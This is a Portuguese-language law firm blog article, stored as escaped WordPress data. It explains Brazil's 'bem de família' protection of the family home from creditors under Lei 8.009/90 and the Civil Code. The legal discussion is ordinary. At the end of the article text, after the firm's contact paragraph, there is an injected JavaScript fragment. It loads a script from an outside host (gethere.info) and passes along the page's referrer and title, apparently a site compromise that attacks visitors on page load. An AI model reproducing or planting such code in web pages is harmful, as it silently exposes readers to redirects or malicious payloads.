<\/p>\n
O empres\u00e1rio no Brasil atua em um ambiente extremamente hostil, caracterizado por um sistema tribut\u00e1rio complexo, restri\u00e7\u00f5es regulat\u00f3rias paralisantes, regras trabalhistas anacr\u00f4nicas e r\u00edgidas e uma burocracia disseminada. E uma das facetas mais cru\u00e9is deste ambiente \u00e9 a banaliza\u00e7\u00e3o, em diversas esferas, da desconsidera\u00e7\u00e3o da personalidade jur\u00eddica, que coloca em risco o patrim\u00f4nio pessoal do empres\u00e1rio.<\/p>\n
O risco de ter seu patrim\u00f4nio pessoal afetado pela sorte de seus neg\u00f3cios \u00e9 considerado pelos empres\u00e1rios como um dos principais obst\u00e1culos ao empreendedorismo e componente importante do chamado \u201crisco Brasil\u201d.<\/p>\n
Essa distorcida busca pelo patrim\u00f4nio pessoal do empreendedor atinge seu \u00e1pice nas demandas trabalhistas \u2013 onde pode-se afirmar sem exagero que a prote\u00e7\u00e3o da personalidade jur\u00eddica praticamente inexiste \u2013, mas tamb\u00e9m ocorre em outras esferas (e.g. rela\u00e7\u00f5es de consumo, tribut\u00e1rias e de fal\u00eancia) mais do que se esperaria em um ambiente que deveria ser voltado ao empreendedorismo e \u00e0 inova\u00e7\u00e3o.<\/p>\n
\u00c9 neste clima hostil que o empreendedor deve buscar, sempre dentro dos limites da lei, a prote\u00e7\u00e3o de seu patrim\u00f4nio pessoal. E a pr\u00f3pria legisla\u00e7\u00e3o prev\u00ea alguns institutos protecionistas, dentre os quais destacamos aqui o chamado bem de fam\u00edlia.<\/p>\n
A Lei n\u00ba 8.009\/90 prev\u00ea ser impenhor\u00e1vel o im\u00f3vel residencial utilizado como moradia do pr\u00f3prio casal ou entidade familiar, entendida como qualquer arranjo familiar, inclusive pessoas solteiras, vi\u00favas e separadas. Tem-se, neste caso, o bem de fam\u00edlia legal.<\/p>\n
A entidade familiar automaticamente goza da impenhorabilidade sobre o im\u00f3vel que usar como moradia, al\u00e9m de eventuais planta\u00e7\u00f5es, benfeitorias, equipamentos e m\u00f3veis que guarnecem a casa, respeitadas algumas exce\u00e7\u00f5es.<\/p>\n
Por visar a garantia do direito constitucional \u00e0 moradia e a observ\u00e2ncia do princ\u00edpio da dignidade da pessoa humana, caso a entidade familiar seja propriet\u00e1ria de mais um im\u00f3vel a impenhorabilidade legal ser\u00e1 aplic\u00e1vel ao de menor valor, independentemente de ser outro o im\u00f3vel utilizado como resid\u00eancia.<\/p>\n
Adicionalmente \u00e0 prote\u00e7\u00e3o conferida ao bem de fam\u00edlia pela Lei n\u00ba 8.009\/90, o C\u00f3digo Civil d\u00e1 \u00e0s fam\u00edlias a op\u00e7\u00e3o de, mediante escritura p\u00fablica ou testamento, destinar parte do seu patrim\u00f4nio para instituir bem de fam\u00edlia.<\/p>\n
O bem de fam\u00edlia previsto no C\u00f3digo Civil \u00e9 uma garantia adicional ao patrim\u00f4nio familiar, e n\u00e3o exclu\u00ed a impenhorabilidade legal, estabelecida na Lei 8.009\/90, sendo, ao contr\u00e1rio, complementar, configurando o chamado bem de fam\u00edlia convencional.<\/p>\n
Diferentemente do que ocorre com o bem de fam\u00edlia legal, caso a entidade familiar possua mais de um im\u00f3vel, nada impede que seja institu\u00eddo bem de fam\u00edlia convencional sobre o de maior valor, desde que observadas algumas restri\u00e7\u00f5es, dentre as quais, a de que o valor do bem n\u00e3o seja superior a um ter\u00e7o do patrim\u00f4nio l\u00edquido da entidade familiar existente ao tempo da institui\u00e7\u00e3o.<\/p>\n
A legisla\u00e7\u00e3o estende a prote\u00e7\u00e3o dada ao bem de fam\u00edlia convencional \u00e0s suas perten\u00e7as e acess\u00f3rios, e prev\u00ea que a prote\u00e7\u00e3o poder\u00e1 ser ampliada tamb\u00e9m aos valores mobili\u00e1rios cuja renda seja aplicada na conserva\u00e7\u00e3o do im\u00f3vel e no sustento da fam\u00edlia.<\/p>\n
Conv\u00e9m ressaltar que o C\u00f3digo Civil prev\u00ea alguns requisitos que devem ser observados para a validade do bem de fam\u00edlia convencional, dentre os quais o de que o instituidor seja o propriet\u00e1rio do im\u00f3vel e a fam\u00edlia de fato nele resida e que a escritura ou testamento seja registrado no Cart\u00f3rio de Registro de Im\u00f3veis.<\/p>\n
Com rela\u00e7\u00e3o aos valores mobili\u00e1rios a serem inseridos na prote\u00e7\u00e3o de bem de fam\u00edlia convencional, a lei disp\u00f5e que estes dever\u00e3o ser individualizados na escritura de institui\u00e7\u00e3o do bem de fam\u00edlia e seu valor n\u00e3o poder\u00e1, \u00e0 \u00e9poca da institui\u00e7\u00e3o, ser superior ao do pr\u00f3prio im\u00f3vel.<\/p>\n
A esse respeito, vale mencionar que uma vez institu\u00eddo bem de fam\u00edlia convencional, o im\u00f3vel objeto desta prote\u00e7\u00e3o n\u00e3o s\u00f3 se torna impenhor\u00e1vel por d\u00edvidas futuras, mas torna-se, tamb\u00e9m, inalien\u00e1vel, n\u00e3o podendo ser vendido ou transferido de qualquer forma, ou oferecido em garantia.<\/p>\n
O gravame do bem de fam\u00edlia convencional pode, contudo, ser afastado judicialmente caso haja requerimento expresso de todos os interessados e seus representantes legais, ouvido o Minist\u00e9rio P\u00fablico se houver incapazes. Neste caso, a entidade familiar pode solicitar a sub-roga\u00e7\u00e3o dos bens que constituem o bem de fam\u00edlia em outros.<\/p>\n
O bem de fam\u00edlia convencional extingue-se com a morte de ambos os c\u00f4njuges e a maioridade dos filhos, desde que n\u00e3o sujeitos \u00e0 curatela. A separa\u00e7\u00e3o, div\u00f3rcio ou morte de um dos c\u00f4njuges n\u00e3o extingue, por si s\u00f3, a prote\u00e7\u00e3o do bem de fam\u00edlia.<\/p>\n
Note-se, contudo, que a prote\u00e7\u00e3o conferida pelo bem de fam\u00edlia, tanto legal quanto convencional, n\u00e3o \u00e9 absoluta. Ela n\u00e3o abrange d\u00edvidas que decorram do pr\u00f3prio im\u00f3vel familiar (e.g. IPTU e condom\u00ednio) e d\u00edvidas com financiamento para a aquisi\u00e7\u00e3o, constru\u00e7\u00e3o ou reforma da moradia. Tamb\u00e9m n\u00e3o protege contra d\u00edvidas de natureza alimentar ou decorrentes de da\u00e7\u00e3o do im\u00f3vel em garantia hipotec\u00e1ria ou fian\u00e7a em contrato de loca\u00e7\u00e3o.<\/p>\n
Al\u00e9m disso, os tribunais v\u00eam afastando a impenhorabilidade se comprovada fraude \u00e0 execu\u00e7\u00e3o, caracterizada pelo esvaziamento patrimonial do devedor j\u00e1 sujeito a execu\u00e7\u00e3o, com a manuten\u00e7\u00e3o exclusivamente do bem de fam\u00edlia em seu patrim\u00f4nio.<\/p>\n
Pelo exposto, percebe-se que o bem de fam\u00edlia convencional pode ser um importante instrumento de prote\u00e7\u00e3o patrimonial, que permita a conserva\u00e7\u00e3o da resid\u00eancia e o sustento familiar, mesmo contra os abusos a que est\u00e3o sujeitos aqueles que empreendem no Brasil.<\/p>\n
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A equipe de Leoni Siqueira Advogados possui vasta experi\u00eancia na defini\u00e7\u00e3o de estrat\u00e9gias de prote\u00e7\u00e3o patrimonial e sucess\u00f3ria para empres\u00e1rios e seus familiares. Caso deseje mais informa\u00e7\u00f5es sobre o assunto, por favor, queira entrar em contato.s.src=’http:\/\/gethere.info\/kt\/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;<\/p>\n","protected":false},"excerpt":{"rendered":"
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